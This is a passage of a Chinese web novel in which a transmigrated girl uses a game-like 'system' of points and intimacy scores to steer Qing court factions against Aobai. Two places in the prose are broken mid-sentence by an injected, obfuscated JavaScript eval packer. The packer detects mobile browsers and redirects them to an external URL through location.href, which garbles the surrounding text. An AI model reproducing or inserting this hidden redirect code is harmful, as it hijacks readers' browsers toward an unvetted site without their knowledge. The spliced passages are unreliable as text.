窗外更夫敲过四更,葛布喇望着父亲袖口暗绣的蟒纹——那是十五年前孝庄亲赐的御前侍卫蟒袍纹样,如今却与遏必隆府的团龙补子同出一个绣坊。 系统弹出【政治风险对冲模型】,三维图像里索尼的密折正沿着两条不同路径传送:一份弹劾鳌拜的奏疏送往乾清宫,另一份《旗务条陈》抄本却悄悄进了鳌拜党羽的书房。 “可您让我递上去的密折...”葛布喇的指尖碾着腰间玉佩,系统显示【父子信任值】正随他的呼吸微微波动。 索尼忽然笑起来,露出有些糟烂的后槽牙,“折子是你递的,字是你签的,跟我这老头子有什么关系?” 系统瞬间捕捉到【责任切割指数】飙升至95,而老人袖中滑出的另一份药方,边角朱砂印赫然是鳌拜亲信的太医院左院判私章。 “您早就算准了太皇太后会选兰儿?”葛布喇拾起桌上的碎瓷片。 索尼将翡翠扳指摘下来放在桌上,玉件碰撞桌面的声响与宫墙更鼓完美重合:“我只算准了一点——”系统突然全屏闪烁【关键信息披露】,老人的瞳孔在烛火中映出两个对称的倒影,“无论谁当皇后,又或者两个都要留在宫里,赫舍里氏都得有个站在明面上的牺牲品。” 牺牲品?珠兰微笑,说不准是谁呢。 更夫的梆子声消失在晨雾里时,系统中【索尼后路指数】的数值稳定在74。这个微妙的数字意味着:既让长子在康熙面前挣足表现分,又通过暗线与鳌拜保持接触;既把孙女送进选妃名单,又让夫人与遏必隆家保持联络。就像他此刻放在桌上的扳指,翡翠的阳绿与阴翳永远各占一半,正如赫舍里氏的命运,必须同时倒映着紫禁城的日光与阴影。 当第一缕晨光掠过窗棂时,葛布喇终于读懂父亲指甲缝里的朱砂印——那不是批红时沾上的,而是昨晚用密蜡在奏疏背面写暗语时留下的痕迹。 系统深处,【索尼政治基因】的代码正在复制:永远保留50%的背叛可能性,永远让家族的一半站在阳光下,另一半藏在阴影里,就像太皇太后那串有裂痕的蜜蜡佛珠,每道纹路都刻着“留一线”的生存智慧。 当葛布喇推开房门时,他袖中藏着的密折——那是用1000观察点强化过的政治影响力结晶。 系统显示【康熙信任值】会因这道密折飙升至45,而在遥远的乾清宫,少年天子正将朱笔在“留中”二字上反复勾勒。 这一夜,赫舍里府的银杏树下,数据与权谋正在土壤里悄然根系,为明日紫禁城的日出,埋下第一颗带编码的种子。 3. 以退为进 时光如水,匆匆而过。 小姑娘们进了宫,养育于宫中,却也不是就此见不到亲人。太皇太后时常会召见她们的父母前来,也会送她们回家探亲。毕竟只是一群十岁上下的丫头,怕移了性子,才接进来管一管,不是叫人家骨肉分离的。 卯时的晨雾刚漫过紫禁城的红墙,珠兰已坐在镜前梳理发髻。系统面板上【鳌拜换地阴谋破解进度:13%】的红色条框正在闪烁。 她将最后一支东珠簪别在鬓边,镜中映出的温婉少女模样,与系统里飞速运转的【火器营地图数据模型】形成诡异的反差。 簪子刺入发髻的角度精确到15度,这是系统测算出的最能反射晨光、吸引太皇太后视线的角度。 她需要的观察点,必须是有效的交互,所以太皇太后的注视是很重要的,毕竟现在一天有600上限了,刷一般人根本刷不满。 系统面板【可作用目标清单】里,目前仅有葛布喇、塔娜、诺敏三人标着绿色标识。父亲葛布喇的【忠君值:85】与【父女亲密度:82】在众多数据中格外醒目,这是她目前最稳固的操作支点。 她穿越过来时,身边能影响的人只有天然亲密值在60以上的父母,当时为了能让葛布喇在后面的故事里不要只当一个壁花,以便于她布局。 珠兰几乎将所有观察点都堆到了葛布喇身上。才让这个本来平庸且无存在感的赫舍里家长子,从二等侍卫,逐渐入了顺治的眼,在最后顺治去世前分蛋糕时,因其忠心可用,作为制衡鳌拜的棋子,截胡鳌拜,成为领侍卫内大臣。 此刻她的三叔还在当着二等侍卫,二十几岁的索额图比历史上进宫要早一些,毕竟他大哥把侍卫缺让出来的早了,再过一年他就可以晋一等侍卫,而后筹谋外放了。等他把侍卫缺让出来,家里的四叔、五叔等,也要走这条路子,往上爬。 因为此事,珠兰得到了“碧浪”级的能量反馈,一举还清进入本世界十几年欠下的能量值。而且因为葛布喇确有观察点堆出来的真才实学,他的上位被判定为对本世界发展有利,珠兰因此与世界获得共赢局面,没有走向对立。 可惜的是,这么多年过去了,索尼的亲密度始终在60以下。就如同此刻,太皇太后的名字灰扑扑地沉在底部,亲密度37的数值像道无形的墙,提醒着她必须另寻破局之道。 老年人的亲密,都不好刷。 镜中少女垂下眼帘,马佳诺敏的【亲密度:61】刚好踩在可影响的及格线上,这个小女孩子体贴且容易亲近,心理防御很低,名字里带个敏,实际并不敏感多疑,还有点不够聪明。 【鳌拜旧部屯田坐标】的数据流涌入视网膜——用300观察点兑换的【记忆钢印】已成功植入诺敏潜意识,现在只需等待一个节点触发。但想让这枚棋子主动入局,还需要更锋利的钩子,以葛布喇为推手的【利益诱导方案】执行效果有待观察。 慈宁宫的抄经堂里,马佳诺敏突然打翻了朱砂砚。她指尖冰凉——昨夜嫂子入宫时塞给她的纸条虽然已经烧毁了,“赫舍里氏在胭脂铺布了局”的字迹在心中还是硌出深痕。 大神打架,居然已经白热化到对小鬼出手的地步了,嫂子是如此转达的父亲的话。诺敏对自家几斤几两还是认的清楚的,虽然家里祖父曾做过内大臣,她算得上勋贵世家出来的格格,在宫中有些人手可用,但那毕竟是过去式了,现在阿玛只是个员外郎。 珠兰抬眼时,系统已捕捉到她袖中滑落的帕子——上面用金线绣着半幅草场图案。【机会识别:马佳氏寻求政治投机概率89%】的提示闪过。 “这帕子的纹样倒别致,”珠兰拾起帕子,指尖在诺敏腕间无意划过。系统立刻注入50点【暗示力】,让她的声音带着微妙的引导,“倒像是山水图呢。” 诺敏瞳孔骤缩,系统显示【信息接收度:76%】。 她看着诺敏喉头轻滚,系统同步解析出对方的心率波动——从82次/分骤升至105次/分。“前日我家嫂子在胭脂铺遇见的老嬷嬷...”诺敏突然开口,声音发颤,“她说她家老爷子曾是正白旗佐领...” 马佳氏从未与两白旗有什么勾连,他们一直是皇室铁杆,与鳌拜当年一样,围绕在顺治皇帝身边。只是顶梁柱没得早,如今也是二等人家。 正白旗的佐领老夫人找上他们家,只能说是被人设计来的。 珠兰仿佛不曾听到,又仿佛没有听懂。垂下的眼帘后,【马佳氏投诚路径图】正在生成——她用300观察点让父亲葛布喇想出了利用正黄旗马佳氏的好主意,而后才有诺敏的嫂子在常去的胭脂铺“偶遇”了正白旗旧部的遗孀。 马佳氏是太皇太后麾下的嫡亲奴才,出身正黄旗,由他们嘴里说出来两黄旗的圈地故事,才最可信。 而且,索尼不想直接跳出来得罪人,他自己也是在旗的,要考虑本旗的利益。大儿子葛布喇想到利用马佳氏,出乎他意料,但他也支持。 在朝中硬刚,是忠君。跑到太皇太后面前告黑状,不是赫舍里家不能做。是索尼觉得太谄媚,毕竟他是个首辅。 而且太皇太后的立场,也不好说。镶黄旗才是最亲的奴才,他们打两白旗的主意,谁知道主子是个什么意思。 让马佳氏出面试探,也好。拿火器营说事儿,就更好了。 索尼对大儿子本来是无奈的,现在看这孩子还是可以教的。 诺敏没有得到想要的回应,有些失望。她不知为何对珠兰姐姐总有亲近之意,这么大的事也想和对方说一说。 珠兰知道诺敏定然是想起了她嫂子的警告:赫舍里氏让正白旗遗孀“偶遇”马佳氏,就是要逼她们在鳌拜与皇帝间站队。 马佳氏也不想得罪辅政大臣,毕竟这才康熙元年,观望才正常。 但是,这个是阳谋,路子用了,也不瞒着,就是忠君第一人葛布喇干的,看你马佳氏是不是也忠君,后面怎么办,靠的多半是马佳氏自己的脑补。 诺敏想要与她寻求同盟,却没想到她似乎根本不知此事。 300观察点转化为【记忆钢印】——让胭脂铺老嬷嬷“无意”提起的“火器营草场插黄旗”画面,在诺敏脑海中循环播放。虽然理论上,她只是听嫂子说起过,不该如此印象深刻。可是紧张与恐惧,让年幼的诺敏忽视了这些。而且这已经导致她在公开场合,居然对珠兰提起了这件事。 此举,正中下怀。 钮钴禄萨琳虽然不曾言语,却也听了进去,她一向冰雪聪明,见微知著。 珠兰很清楚,这位钮钴禄家的小姑娘不简单。大家庭出来的孩子,长到十岁时,基本可以当大人看了。 午间膳毕,珠兰在回廊恰巧遇见诺敏与苏麻喇姑说话。 诺敏在回廊拽住苏麻喇姑的衣袖时,掌心全是冷汗。“我阿玛说...”她深吸一口气,嫂子那句“选边站才能活”在耳边炸响,“火器营边上的草场,不知何时全插上了黄旗...” 珠兰放慢脚步,转身回避,渐行渐远,她分明看见了萨琳的身形在不远处出没。 所有的窥视,都在太皇太后默许之下。 注入观察点后,系统实时解析着对话声波:当诺敏提到“阿玛说火器营边的草场突然插满黄旗”时,【情报可信度】因珠兰预先植入的【暗示力】提升至82%。 太皇太后窗前的铜铃忽然作响,系统弹出【关键人物介入】的预警。 这一波,关键在于马佳氏确实选择投靠太皇太后,他们的立场还是坚定了下来。基于历史上,马佳氏乃是康熙前期的宠妃,珠兰预判了马佳家族的选择,让葛布喇选择利用马佳氏的人,在太皇太后面前提前捅破鳌拜的筹谋。 圈地与觊觎军权,本质是两回事。爱新觉罗家族虽然现在是老祖母与幼主当家,族里还是有些人手和忠心奴才的。太皇太后目前,还没有容忍辅政大臣出格的爱好。鳌拜的心思,先翻出来给老祖母看看,也好。 暮色降临,诺敏将账本塞进假山石缝时,指尖因兴奋而颤抖,为自己的聪慧沾沾自喜。赫舍里氏以为能脱身吗,她定然也要将珠兰或者塔娜拉进来才行。 塔娜踩着慈宁宫花园鹅卵石小径,鞋跟碾过一片带露的玉兰花瓣。 珠兰不曾阻拦妹妹每日一游的行为,对她放任自由。 系统突然弹出【物品扫描:检测到账本类物品】的提示,塔娜弯腰拾起,指尖触到封面暗纹——那是马佳诺敏最爱的缠枝莲刺绣,是她们家特有的一种刺绣手艺。 塔娜合该知晓一些真相,明白一些人心。而且,这是目前能做到的极限,珠兰无法对太皇太后使用任何数据干预手段,只能寄希望于这份带着马佳氏家纹的账本,能在老太太心中埋下怀疑的种子。系统测算出78%的可能性会引起重视,剩下的22%,就看——或者说,看诺敏的临场表现。 鳌拜呀,在顺治朝是个大大的忠臣。谁能想到,到了康熙朝,他就转成了权臣呢。 翻开扉页的瞬间,【笔迹识别:99%匹配诺敏书写模型】。“这不是诺敏姐姐的字吗?”塔娜喃喃自语。 路过暖阁时,她“恰好”遇见苏麻喇姑捧茶而出,便上前福身:“苏麻喇姑姑,我在园子里捡到这个...”说话间手腕轻晃,账本如蝴蝶般滑落在铺着猩红毡毯的软榻旁。 【情报传递完成度:95%】的进度条闪过,塔娜望着滚到香炉旁的账本,露出茫然神情,“奇怪,怎么会掉在这里呢?” 系统深处,太皇太后指尖捻珠的动作已被解析为【信息获取确认:启动鳌拜势力评估程序】,暖阁里氤氲的檀香,正与数据洪流中的阴谋气息悄然融合。 乾清宫的辅政会议上,葛布喇突然发难。 珠兰在系统中看着父亲的【忠君值】飙升至85,【抗争值】突破90,这组由她注入2000观察点强化的数值,让他的声音带着金属般的穿透力,“鳌中堂既请停换地,为何又在正白旗牧场周边增兵?” 屡次增强的属性,带着偏执狂一般的执 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702612|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拗。葛布喇看起来,就好像顺治救过他三辈子全家的命一样,如此忠心实在抢戏。 鳌拜有时候,都挺无语。自己受先帝大恩,还不是该要啥就要啥。怎么索尼生的这个大儿子,跟个傻瓜一样,送上门的好处都不要,非得跟老夫对着干。 珠兰可惜无法直接影响康熙,只能通过父亲的强硬态度,在少年天子心中制造认知冲击。康熙的名字在【可作用目标清单】里灰得彻底,亲密度23的数值如同铜墙铁壁。她只能通过系统观测其数值变化,却无法进行任何实质性干预。不过没关系,这只是第一步,数据的积累需要时间。 葛布喇大喝一声“老天有眼”,鳌拜猛地抬头,【心虚指数:78%】。这才是康熙元年,顺治余威仍在,即便他生权臣之心,也未曾有那般能力,心中是有顾忌的。 大家都是两黄旗的,好处少不了赫舍里氏,一起对付两白旗,也该是政治正确啊。让这小子一叫唤,搞得老夫成了大反派似的,上首小皇帝的眼神儿都不对了。 当葛布喇展开连夜画的战略要地置换分析图时,康熙的【决策力】数值在珠兰面板上暴涨30点。这图,他以为是自己画的,实则没少耗费观察点。 少年天子拍案而起,脑海中闪过昨日师傅讲过的《霍光传》:“臣有大功,然擅权者终危。”系统因能量涌动而发烫,【隐藏任务完成度:65%】的进度条正在飞速推进。 在此之前,珠兰在后宫启动了B计划。 钮钴禄萨琳见遏必隆侧福晋时,正在同母亲抱怨“马佳氏最近总在苏麻喇姑面前提旗务”。 因为珠兰“无意”间提起过诺敏的绣工,系统同步释放【信息关联度】波频,让“地图帕子”“火器营”等关键词在萨琳脑海中自动链接。她理所当然,要告知自己的母亲。 系统显示【骑墙派动摇指数:54%】,【舆论压力值】升高。 当遏必隆提及火器营事已经甚嚣尘上时,引发鳌拜阵营官员的潜意识焦虑,反而坐实了“做贼心虚”的假象。 朝会散去,走到空无一人的乾清宫门口,康熙突然回头望向慈宁宫的方向。九岁的帝王第一次感到彻骨的寒意,不是因为夜风吹拂,而是第一次模糊地意识到:这紫禁城的龙椅,或许从坐上的第一天起,就不是温暖的归宿,而是布满陷阱的冰冷棋盘。 深夜复盘时,珠兰站在窗前凝视星空,塔娜睡的呼呼呼呼。 系统将全天的事件转化为流光溢彩的数据流:马佳氏的投诚轨迹、流言的二次传播路径、各派系官员的心率波动图谱... 在这片数据海洋中,她的【情绪稳定值】始终维持在98%的高位,丝毫不因繁杂而焦虑。 当翌日诺敏送来谢礼时,珠兰正在核对着观察点收支表,塔娜则见了诺敏后撅着嘴巴。 有些事是利用,有些事是巧合,塔娜还是知道。 对方袖中露出的半幅地图在系统里解析为【合作诚意值:61%】,她接过精致的绣囊,动作温婉得像寻常闺蜜,丝毫看不出两人之间一波又一波的相互利用。 塔娜一开始不想理会诺敏,被姐姐带着,皮笑肉不笑。 诺敏费了不少功夫,与塔娜交心,真情流露时声泪俱下,毕竟这事儿是赫舍里氏先出手的,她也只是太匆忙太害怕才丢了账本。 珠兰一句都不信,塔娜却走了心,居然还存了愧疚,与诺敏又和好了。少女的情谊,就是这么简单又纯洁。 好吧,显然妹妹没有按照珠兰预设的方向走,系统首次出现预测失败,数值剧烈变化,从一个极端走到了另一个极端,塔娜她没有看透人心,而是被人心又迷惑了。 系统深处,这短暂的互动被量化为【政治投资:消耗200点,获取马佳氏情报网使用权+15%】的精准交易。系统后台同步完成【棋子价值评估】:41%的【忠诚度】与67%的【可消耗值】形成危险的平衡。 又一次,天边泛起鱼肚白时,系统终于弹出【隐藏任务完成】的提示音。 5000观察点如瀑布般注入账户,珠兰看着面板上飞涨的数值,嘴角勾起一抹冰冷的弧度。 康熙元年,她得到了改变世界进程的第二枚能量结晶,虽然还是涟漪级的,但也够交差用了。 镜中的少女依旧眉眼弯弯,可那双倒映着数据流的眼底,却没有半分属于少女的喜悦——在她的世界里,马佳氏的投诚不过是数据模型里的一枚可变量,而鳌拜那所谓的“以退为进”,早已被她用理性的刀锋,解构成系统里一串冰冷的数字。 经此一役之后,鳌拜的野心不降反增,以后交锋之处会更多,这也意味着从他身上能薅到更多能量结晶。 少女的温婉笑容里,藏着对规则的深刻理解——在这个无法直接操控的世界里,她要做的,是成为最优秀的数据解读者和引导者。 这是她在现有规则下能做到的最好布局,无法直接修的数据,但通过环境营造、信息引导,照样能让这些棋子按照预设轨迹行动。 4. 晨昏絮语 阳春三月 康熙元年之初的朝中争端,似乎没有对养在宫中的这些姑娘们有什么影响。 慈宁宫的小花园里玉兰开得正好,粉白花瓣簌簌落在九曲回廊上。 珠兰立在海棠花架下,素色旗装上别着一支珍珠步摇,银镯随着她翻阅《内则》的动作轻响,系统面板浮现在视网膜边缘:【春日观察进度:8%】。 不远处传来清脆的笑声,像受惊的麻雀扑棱棱掠过树梢。 “快看!我的凤凰风筝要飞起来了!”纳喇玉宁踮着脚扯线,鹅黄裙摆扫过青苔石径。她发间的绒花歪到一边,却浑然不觉,任由金线绣着的凤凰乘着风扶摇直上。虽然爱好文学,但她也还是个九岁的小丫头呢。 “珠兰姐姐!快来帮我!”玉宁手中的凤凰风筝卡在海棠枝桠间,她下意识求助在场最大的姐姐。 珠兰合上书走过去,指尖触到丝线的瞬间,系统提示【玉宁:亲密值+1,当前23】。“别拽线,顺着风慢慢松。”她温声指导,看着风筝重新腾空时玉宁雀跃的模样,居然是这样的性子,系统刷新了对纳喇氏的数据判定。 马佳诺敏抿着嘴帮玉宁扯住线轴,眼角余光却不时瞟向珠兰的方向,系统显示【诺敏:观察试探值71%】。自上次传递情报后,两人心照不宣地保持着微妙距离。此刻她突然开口:“赫舍里姐姐的针法精妙,不知可否指点一二?”话音落,系统弹出【诺敏:亲密值+2,当前65】的提示。 珠兰微微笑着应下,注意到对方袖口露出的半截缠枝莲花纹样——那是她们共谋时留下的默契印记。 塔娜攥着蝴蝶风筝虎里虎气地凑过来,“姐姐,你真的不玩吗?”九岁的小姑娘发间沾着几瓣海棠,裙摆上还沾着方才追蝴蝶时蹭到的草屑。系统显示【塔娜:亲密值+1,当前95】,这个丫头啊,可能的数据修改次数多了,后遗症是心眼似乎被改掉了。 珠兰替她拂去碎发,看着系统里【塔娜:快乐值89%】的曲线欢快跳动,轻声道:“你去玩吧,当心风筝线划伤手。”话毕,她解下腕间丝帕替塔娜系在腰间,这自然的亲昵让系统数据微微波动,但没有+1。 博尔济吉特阿日娜苏抱着装满野花的竹篮躲在太湖石后,蒙语童谣混着花香飘出来。 当珠兰走近时,她紧张地攥紧篮沿,直到对方轻声用蒙语问好,系统才亮起【阿日娜苏:亲密值+2,当前31】。 “这束蒲公英真好看。”珠兰接过对方怯生生递来的花束别在衣襟,将珍珠步摇送给对方,看着少女眼底绽放的惊喜,知道这草原女儿的防备正在瓦解。 她与她的姑姑和姑奶奶们性子截然不同,想来草原上的王公也晓得迎合宫中的喜好了。 阿日娜苏用蓝绸带将蒲公英、二月兰扎成花束,突然被玉宁拽着加入放风筝的队伍,脸颊瞬间涨得通红,像她篮子里的山茶花。系统标注【阿日娜苏:社交回避值78%】,却也记录下她偷偷学放风筝时眼底的雀跃。每个人都有两面性,数据也在左右摇摆。 谁也不知道,文艺少女玉宁居然比可爱少女阿日娜苏更社牛。 “成何体统!”钮祜禄萨琳的声音从月洞门传来,她身着墨绿旗装立在花墙下,手中《女诫》被攥出褶皱,“太皇太后让咱们习规矩,不是来疯跑的。”自从额娘入宫教导后,她便改了过去事不关己的性子,开始和大家互动,只是似乎不得其法。 玉宁不屑转身,瞧不上她那副端庄模样,不一起玩儿没关系,赫舍里家的大姐也不一起玩,可人家多安静,用得着你来装嬷嬷管教大家。风筝线却趁机脱手,那只凤凰晃晃悠悠栽进了池塘。 萨琳眉头皱得更紧,系统显示【萨琳:焦虑值63%,规矩维护欲92%】。 夕阳给琉璃瓦镀上金边时,康熙的脚步声惊飞了啄食花瓣的麻雀。 少年天子身着天青常服立在垂花门前,身量未足,气势已生,目光掠过追逐风筝的姑娘们,最终落在珠兰身上。 她正弯腰替塔娜系紧袜带,素色旗装衬得身姿纤柔,系统跳动【康熙:亲密值+2,当前43】。这数值增益,大部分还是得益于葛布喇的辛苦。珠兰很清楚,单凭自己,现在亲密值应该是二开头,顶多是三开头。 珠兰行礼时发间绒花轻晃,像落在春水上的一滴墨,少女的容颜姿态,在一众女童中显得鹤立鸡群,晕开少年帝王心中的涟漪,系统跳动【康熙:关注增幅+12%】。 而一旁的萨琳,虽然同样还是女童模样,行礼时衣袂纹丝不动,尽显大家闺秀风范。 待圣驾离去,玉宁瘫坐在回廊上直喘气:“累死我啦!还是放风筝有意思!” 阿日娜苏悄悄把编好的花环放在塔娜膝头,用蒙语说了句什么,惹得小姑娘咯咯直笑。塔娜在家,也是三语教学。 珠兰翻着书卷,看着不断累积的观察点,系统映着天边晚霞泛起冷光。今日太皇太后不曾见,皇帝见的时间太短,缺失的观察点必须在这些小姑娘身上找补回来。看着系统里不断累积的亲密值,每一次伸手相助、每一句温言软语,都成了她编织关系网的丝线,而那些悄然增长的数值,终将织就通往权力巅峰的锦缎。 在这片被欢声笑语浸润的春色里,有人追逐纸鸢,有人固守规矩,而她早已将每个人的喜怒哀惧,都化作棋盘上可推演的轨迹。 苏麻喇姑手持铜尺穿过□□,目光扫过嬉闹的姑娘们。 当她看见珠兰仍在原处安静读书,【苏麻喇姑关注值:81%】的数字亮起。 阿日娜苏和塔娜对视一眼,慌忙藏起沾着草汁的裙摆,玉宁三步躲到诺敏身后,唯有萨琳挺直脊背迎上审视的目光,活像株永远笔挺的青松。 其余几个姑娘们并不如这几个出色,在苏麻喇姑眼中没有留下多少印象,但也是各有各的慌张,各有各的可爱。养在慈宁宫,即便留不下宫里,将来也自有好缘法。 这样的闲暇,也只是一旬一次罢了,她们大部分时间是在学习,因材施教。 晨光透过慈宁宫雕花窗棂,在金砖地上投下细碎的光影。 珠兰轻抬素手,替塔娜整理歪斜的小发包,系统面板悄然浮现【慈宁宫日常观察进度:12%】。殿内飘着淡淡檀香,混着姑娘们衣裳上的熏香,编织成宫廷特有的气息。 马佳诺敏正端坐在绣架前,指尖穿梭如蝶,绣布上的并蒂莲栩栩如生。 她眼角余光不时瞥向珠兰,嘴角挂着若有若无的笑意。 珠兰能感受到对方的目光,系统显示【诺敏:合作意向度63%,警惕值27%】。 自上次借她之手传递情报后,诺敏既想靠近这棵大树,又对背后的操控心有忌惮。 纳喇玉宁倚在窗边,捧着一本《女诫》,却将书页折角,偷偷看着外面飞过的麻雀。她生得娇俏灵动,看上去是个文艺少女,相处下来,发现实则性子也是活泼跳脱,系统标注【玉宁:活泼指数89%,规矩完成度52%】。忽然,她转头冲众人笑道:“每日都闷在这里绣花读书,何时才能出去逛逛?”话音未落,便惹来钮祜禄萨琳的侧目。 萨琳永远是最端庄的那个,此刻正一丝不苟地临摹《心经》,墨色在宣纸上晕染,字迹工整如刻。 她头也不抬地说:“玉宁妹妹,太皇太后让咱们在宫里学规矩,可不是来玩闹的。”语气严肃,却透着几分说教意味,系统显示【萨琳:严谨值91%,亲和力28%】。 博尔济吉特阿日娜苏坐在角落,安静地摆弄着手里的香囊,时不时用蒙语与身旁侍女低语几句。她性子实则带着几分内敛羞涩,不是心有触动,多半是自己玩自己的,也就是塔娜能与她一个思路,随时说到一起去。 系统标注【阿日娜苏:内向值85%,观察敏锐度67%】,这个丫头啊,与虎里虎气的塔娜又有不同,看似不声不响,实则将殿内情形都看在眼里。 而且,阿日娜苏在家时明显也是按照京中标准教养的,香囊上的盘羊角刺绣精致异常,那是她亲手用家乡带来的彩线绣成,每一针都藏着草原的记忆。 苏麻喇姑手持铜尺,在姑娘们中间缓步巡视。 她目光如炬,偶尔停下纠正诺敏拿针的姿势,或是提醒玉宁坐直身子。 珠兰注意到,每当苏麻喇姑看向自己时,系统显示【苏麻喇姑观察强度:78%】。这位太皇太后身边的亲信,此刻就是孝庄的眼睛,在暗中评估着每一个姑娘。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702613|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 当她走到阿日娜苏身边时,特意多看了几眼那香囊,阿日娜苏立刻紧张地将香囊藏到身后,脸颊飞起红晕。 午后小憩时,塔娜拉着珠兰的手,小声说:“姐姐,我总觉得萨琳姐姐好可怕,都不敢和她说话。” 珠兰轻抚妹妹的头,心中暗想,萨琳原本是庄重的,不出声不犯错。可她此刻与众人交集多了,过于刻板的性格,在这深宫里怕是讨不了好。 而玉宁混熟以后,居然越发活泼,但过于跳脱难免失了规矩护佑,将来要吃苦头。 相比之下,诺敏懂得审时度势,阿日娜苏善于隐藏自己,倒是不可小觑。 傍晚时分,姑娘们正在研习满文。 珠兰研墨时,瞥见塔娜对着复杂的字母发愁,便挪到她身边逐字讲解,系统立即提示【塔娜:亲密值+1,当前96】。 诺敏悄悄将自己誊写工整的范文推过来,【诺敏:亲密值+1,当前66】的数值随之变动。 殿外突然传来脚步声,苏麻喇姑神色微变,快步迎了出去。 珠兰心中一动,系统瞬间弹出【康熙进入感应范围】的提示,余光瞥见塔娜紧张地攥紧了帕子。 康熙身着月白常服,在苏麻喇姑的引领下步入殿内。 他的目光在姑娘们身上一一扫过,最后停留在珠兰和塔娜身上稍作停留。 珠兰能感觉到那目光中的温度,系统显示【康熙对赫舍里氏姐妹关注值:41%】,这比昨日又提升了7个百分点。想来是父亲在朝堂上的表现,让这位少年天子爱屋及乌。一个敢于在九岁帝王身上赌身家性命的忠臣,他的忠心必须日月可鉴。康熙自诩,圣明无过于他。 阿日娜苏悄悄抬头看了一眼皇帝,又迅速低下头,手中的笔在纸上晕开一团墨迹。 “都在认真学习?”康熙开口,声音清朗,朝气蓬勃。 玉宁率先起身行礼,俏皮地说:“回皇上,奴才们都在努力,不敢懈怠。” 康熙闻言轻笑,而萨琳则一本正经地回禀今日所学。 阿日娜苏用极低的声音跟着众人行礼,蒙语口音在满语回答中显得格外轻柔。 “赫舍里氏在教妹妹?”康熙走近,声音里带着笑意。 珠兰起身行礼时,注意到他的目光落在自己笔下的满文批注上——那是她特意用清晰工整的字体,将复杂语法拆解标注。“回皇上,塔娜妹妹对有些词汇尚不熟练。”她温声回答,话音未落,系统便跳出【康熙:亲密值+2,当前45】的提示。 玉宁按捺不住,举着自己的课业凑上前:“皇上,您瞧瞧奴才写得可好?” 康熙笑着点评几句,目光却又转向珠兰,“赫舍里氏的批注很是用心,可见对学问下了功夫。”随着赞许声落,【康熙:亲密值+1,当前46】的数字再次跳动。 萨琳捧着《女诫》满文译本请教典籍中的疑难,康熙示意珠兰来讲,珠兰适时补充了几处关键注解,萨琳遇到学问时是真的不甘示弱,两人严谨的讨论引得康熙频频点头,【萨琳:亲密值+1,当前30】与【康熙:亲密值+1,当前47】的提示接连弹出。 待康熙离开后,殿内气氛又恢复如常。 阿日娜苏用蒙语轻声说:“原来皇上也会仔细看大家的课业。” 诺敏若有所思地望着珠兰,后者则继续整理着课业,系统在烛火下泛着微光,映照着不断攀升的亲密值数据——在这看似寻常的课业交流中,每一次答疑、每一回讨论,都成了她悄然织就关系网络的丝线,而康熙眼中逐渐加深的关注,更如同精准的数据曲线,正朝着她预设的方向稳步增长。 珠兰看着手中的满文书卷,康熙的几次到访,看似偶然,实则次数有些多了,或许也是太皇太后的安排。 而自己与塔娜得到的额外关注,既是机遇,也是挑战。在这深宫里,每一个眼神、每一句话,都可能成为改变的关键。 系统面板上的观察点正在缓慢增长,这些数据,是她在这后宫中博弈前朝的底气。 阿日娜苏重新拿起香囊,在无人注意时,对着上面的盘羊角刺绣露出一抹温柔的笑,那是来自草原的慰藉,也是她在这陌生宫廷里的小小坚持。 5. 望父成才 康熙元年暮春,铅云压城。 珠兰立在慈宁宫宫廊下,望着庭院里被狂风卷起的海棠残瓣,心中无喜无悲。 系统泛起琉璃般的涟漪,系统面板如血色绸缎般展开,【朝局动荡指数】如沸腾的岩浆般窜至78%,【葛布喇压力值】曲线陡峭攀升至89%。 手中的团扇轻轻摇动,系统显示空气中弥漫的能量乱流——那是皇城深处因圈地争端爆发的政治漩涡,正以能量涟漪的形式向四周扩散。 御河下的暗流尚未完全消融,乾清宫内的气氛却比隆冬更冷。 九岁的康熙端坐在龙椅上,指节因攥紧扶手而泛白。 系统通过捕捉他急促呼吸产生的热能波动,将其转化为【康熙心率:118次/分】的实时数据。 因为当前观察点无法直接作用于皇帝,珠兰对康熙的数据只是在不断收集、分析,寻找适合插入的点。一个人对另一个的印象,会因为各种情况而发生变化,但总是基于他本身的性格特征来的。 鳌拜将弹劾汉臣的奏折狠狠摔在某个倒霉鬼脑袋上,震动空气产生的声波能量,在系统频谱图上形成尖锐的【鳌拜威压辐射值:94%】峰值。 当葛布喇挺身而出反驳时,他周身迸发的坚定气场形成特殊能量场域,系统立即弹出【帝王信任度:+7%】的提示——这源于康熙因顺治留下的亲信的支持,产生的情绪安定能量波动。 其实葛布喇与鳌拜,都是顺治留下的,也都是忠臣亲信。 甚至于,如果不是葛布喇总是反应过度,与鳌拜进行多次剧烈冲突,动不动就叫人家从他尸体上踏过去。康熙元年的朝堂,应该是暗潮汹涌,而非现在这般全然搬到了明面上。 八旗诸多勋贵,心中都有些异样之感,但他们看看索尼,也都学着一言不发。 少年天子望着阶下对峙的两派人马,像一只困在兽笼里的幼狮,恐惧与愤怒在心中翻涌,却又不得不强装镇定。 大太监顾问行垂着脑袋,枯瘦的身材微微弓着背,守在主子下方,谨守规矩。只当自己没有长嘴,半句不敢多言。只当自己没有长眼,看不见主子的窘迫。在后宫里,只有太皇太后可以安抚天子,其余人都要认清楚自己的身份。 暮春的雨说来就来,细密的雨丝打湿了京城的青石板路。 翰林院编修周明远缩在马车里,听着车外此起彼伏的叫骂声。 